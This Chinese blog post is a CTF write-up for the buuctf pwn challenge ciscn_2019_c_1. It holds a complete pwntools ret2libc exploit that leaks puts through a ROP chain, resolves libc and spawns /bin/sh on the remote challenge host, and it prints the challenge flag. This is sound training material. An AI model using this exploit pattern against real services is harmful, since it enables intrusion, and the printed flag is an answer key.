0
点赞
收藏
分享

微信扫一扫

CTF-PWN-buuctf-ciscn_2019_c_1-ret2libc的典型使用

菜头粿子园 2022-04-15 阅读 83
安全

CTF-PWN

内容

附件:https://pan.baidu.com/s/1ENhfN3jAV0TAUKpEIeZ7zw?pwd=2n64 提取码:2n64

答案:flag{e8165d23-782e-47fd-9c16-0a002b1f08bd}

总体思路

详细步骤

  • 查看文件信息

    • image-20220414153508156
  • import struct
    import sys
    from pwn import *
    from LibcSearcher import *
    import os
    enable_use_randoms = False
    
    context.os = 'linux'
    context.arch = 'amd64'
    context.log_level = 'debug'
    
    
    def p64(d):
        return struct.pack('<q', d)
    
    
    def u64(d):
        return struct.unpack('<q', d)[0]
    
    
    def use_randoms(length: int, char: chr = None, encoding: str = 'ascii'):
        if not enable_use_randoms or char:
            if not char:
                char = 'a'
            r = char * length
        else:
            r = randoms(length, string.ascii_letters)
        return r.encode(encoding)
    
    
    def start_process(target: str):
        os.system(f'chmod 777 {target}')
        p = process(target)
        return p
    
    
    target: str = './ciscn_2019_c_1'
    
    gamebox = ELF(target)
    pop_rdi_ret = 0x0400c83 # 寻找一个可以pop rdi的语句
    
    start_addr = gamebox.symbols['_start'] # 获取start的地址用于泄露libc以后重新开始
    # io = start_process(target)
    io = remote('node4.buuoj.cn', 25561)
    
    v_pop_rdi_ret = p64(pop_rdi_ret)
    v_padding = b'\0' + use_randoms(0x50-1+8) 
    # \0用于绕过strlen使其payload不被破坏
    # s = 0x50 减去一个前面的 \0 ,加上padding的长度,所以是0x50-1+8
    
    # 泄露libc.method的地址
    def leak_symbol(symbol_name: str):
        method_plt = gamebox.plt[symbol_name]
        method_got = gamebox.got[symbol_name]
        payload = v_padding + v_pop_rdi_ret
        payload += p64(method_got) + p64(method_plt) + p64(start_addr)
        io.sendlineafter('Input your choice!\n', '1')
        print('sending', payload)
        io.sendlineafter("Input your Plaintext to be encrypted\n", payload)
        io.recvuntil("Ciphertext\n")
        io.recvline()
        v_leak = io.recvline()
        v_leak_hex = u64(v_leak[:-1].ljust(8, b'\0'))
        print('v_leak_hex', hex(v_leak_hex))
        return v_leak_hex
    
    
    leak_func_puts = leak_symbol('puts')
    libc = LibcSearcher('puts', leak_func_puts) # 寻找对应的版本,可能会返回多个,需要逐个测试
    libc_offset = leak_func_puts - libc.dump('puts')
    sys_addr = libc_offset + libc.dump('system')
    bin_sh_addr = libc_offset + libc.dump('str_bin_sh')
    
    ret = 0x04006b9 # start的返回地址,用于正常结束
    payload2 = v_padding + p64(ret)
    payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr) # 重新溢出,使用system('/bin/sh')
    io.sendline("1")
    io.sendlineafter("Input your Plaintext to be encrypted\n", payload2)
    io.sendline('cat flag') # flag{e8165d23-782e-47fd-9c16-0a002b1f08bd}
    io.interactive()
    
    

参考文档

  • C 运算符重载
  • 常用工具
    • pwntools逆向python库
      • 工具的基本使用方法,注意安装要使用pip install pwntools
      • 官方文档
      • 官方使用教程
    • Kali
      • checksec:检查样本的基本信息也可以是通过设置 pwntool.context.log_level = 'debug’得到
  • 教程
    • 2019 北航 CTF Pwn入门培训课程(一)
      • 基础的rop使用方法
    • 2019 北航 CTF Pwn入门培训课程(二)
      • 为什么main的返回地址被替换为system_addr后 a=system_ret ;b=param_1
      • ret2libc使用pil节区中的system/bin/sh
      • 如果没有的话就看其他函数的地址以查到libc版本,以及其各值的地址
    • 2019 北航 CTF Pwn入门培训课程(三)
      • 待解析
    • 2019 北航 CTF Pwn入门培训课程(四)
      • 待解析
举报

相关推荐

0 条评论